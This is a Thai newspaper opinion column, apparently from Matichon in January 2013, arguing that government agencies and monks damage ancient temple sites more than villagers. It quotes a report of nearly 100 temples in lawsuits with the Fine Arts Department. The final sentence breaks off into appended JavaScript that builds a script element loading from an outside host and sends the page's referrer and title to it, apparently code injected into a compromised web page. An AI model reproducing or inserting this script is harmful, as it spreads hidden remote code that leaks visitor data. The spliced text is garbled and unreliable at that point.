มติชนรายวัน ฉบับประจำวันจันทร์ที่ 28 มกราคม 2556

 

          ราชการทำลายโบราณสถานมากกว่าประชาชน แต่ราชการมักกล่าวโทษประชาชน โดยไม่กล่าวโทษราชการด้วยกัน

          พระสงฆ์ทำลายโบราณวัตถุสถานมากกว่าชาวบ้าน แต่พระสงฆ์มักกล่าวโทษชาวบ้าน โดยไม่กล่าวโทษพระสงฆ์ด้วยกัน

          เมื่อไม่นานมานี้ ราชการยอมรับว่าพระสงฆ์นั่นแหละมีปัญหาทำลายโบราณสถานในวัด จะคัดข่าวอย่างสรุปจากมติชน (ฉบับวันพฤหัสบดี 3 ม.ค. 2556 หน้า 13) มาให้เห็นเป็นพยานดังนี้

          เมื่อวันที่ 2 มกราคม นายนพรัตน์ เบญจวัฒนานันท์ ผู้อำนวยการสำนักงานพระพุทธศาสนาแห่งชาติ (พศ.) เปิดเผยจากการสำรวจ พบว่า

          ขณะนี้พระสงฆ์ขาดความรู้เรื่องกฎหมายหลายเรื่อง ทำให้วัดต่างๆเกิดปัญหาในการบริหารจัดการ ซึ่งหลายวัดที่กรมศิลปากรได้ประกาศขึ้นทะเบียนเป็นโบราณสถาน ต้องการก่อสร้างพัฒนาวัด แล้วทำลายโบราณสถาน โดยวัดไม่ขออนุญาต

          ตอนนี้มีวัดเกือบ 100 แห่ง มีคดีฟ้องร้องกับกรมศิลปากร

          ปัญหานี้ทาง พศ., วัด, และกรมศิลปากร ต้องหันหน้าพูดคุยกันว่าจะทำอย่างไรให้วัดสามารถพัฒนาโดยไม่ทำลายมรดกชาติ ไม่เช่นนั้นในอนาคตสมบัติจะไม่มีเหลือให้คนรุ่นหลังได้ดู

          พระสงฆ์จำนวนหนึ่งมีปัญหามานานมากแล้ว แต่ชาวบ้านทั่วไปไม่รู้ พวกที่รู้ดีคือบรรดาผู้ศึกษาประวัติศาสตร์โบราณคดีและประวัติศาสตร์ศิลป์ เพราะต้องติดต่อกับพระสงฆ์ในวัดเป็นประจำ เพื่อขอเปิดดูสมบัติศิลปวัฒนธรรมที่มีในวัด เช่น อ. ปติสร เพ็ญสุต ที่เขียนพรรณนาปัญหามาบอกดังนี้

          ปัญหาการไม่ให้ความร่วมมือของพระภิกษุสงฆ์ที่มีต่อการบำรุงรักษาโบราณสถาน ถือเป็นเรื่องเรื้อรังมานาน โดยเฉพาะกับคู่กรณีหลักคือหน่วยงานราชการ ส่วนหนึ่งเพราะการขาดสำนึกการเป็นเจ้าของ

          อีกส่วนหนึ่งคือการมีสำนึกหวงแหนเป็นเจ้าของอย่างผูกขาด คือไม่มีความรู้ความสามารถ ไม่มีความเข้าใจในการอนุรักษ์บำรุงโบราณสถานวัตถุ เข้าใจเพียงแต่ว่าจะต้องเก็บรักษางำไว้อย่างดีไม่ให้ใครเห็น (กลัวขโมย กลัวโจรรู้ว่าวัดมีของดีแล้วหาย สุดท้ายก็เป็นคนกันเองที่ปลอมบวชมาขโมยกันเอง สึกออกไปก็หยิบติดมือกลับบ้านไปด้วย ไม่มีใครรู้ เพราะรู้กันไม่กี่คน)

          โบราณวัตถุสถานที่ตกอยู่ในกำมือของผู้ทรงศีลแต่ขาดความรู้เหล่านี้ ก็ไม่ต่างอะไรกับโกดังเก็บของที่รอให้ผุพังเน่าเปื่อยไปตามหลักอนิจจัง

          บางองค์มีสำนึกผูกขาดความเป็นเจ้าของโบราณวัตถุสถานรุนแรงมาก ถึงขนาดยอมขาดศีล มุสาวาท เพื่อที่จะให้ญาติโยมหรือข้าราชการที่อยากจะเข้ามามีส่วนร่วมในการอนุรักษ์มรดกในชุมชน เดินหันหลังกลับบ้านไปเสีย ไม่ต้องดู เพราะไม่มี ไม่รู้ ไม่เห็น และปิดหูปิดตาตัวเอง ไม่ยอมรับฟังข้อคิดเห็นใดๆ

          เพราะทั้งชีวิตท่านเกิดมาเพื่อเป็นผู้รับ รับอย่างเดียว ไม่เคยให้สิ่งใดที่เป็นรูปธรรม นอกจากหลักธรรมคำสั่งสอนเป็นคาถาบาลี คำให้ศีลให้พรที่ไม่จำเป็นต้องแปล เพราะกลัวไม่ศักดิ์สิทธิ์

          การผูกขาดความเป็นผู้รับ และผู้สั่งสอนในสังคมเพียงฝ่ายเดียว เกิดจากฆราวาสในชุมชนที่ไม่ตรวจสอบ ไม่อยากตรวจสอบ ไม่อยากยุ่ง ด้วยสำนวนชั่วช่างชีดีช่างสงฆ์ กรรมตามสนองผู้ประพฤติกรรม โบราณวัตถุที่มีแม้จะมีค่าน้อยกว่าพระธรรม จึงพลอยติดร่างแหแห่งการปิดหูปิดตาไม่รับฟังคำเสนอแนะใดๆไปด้วย

          พระสงฆ์ดีๆมีมากกว่าก็จริงอยู่ แต่พระสงฆ์ดีๆมักมีเมตตามหาศาลแผ่ให้พระสงฆ์ไม่ดี เลยไม่มีการตรวจสอบพฤติกรรมไม่ดีของพระสงฆ์ด้วยกัน

          “กว่าถั่วจะสุก งาก็ไหม้” ใครๆก็รู้ แต่ปล่อยให้งาไหม้ ทั้งๆรู้นั่นแหละs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‘script’);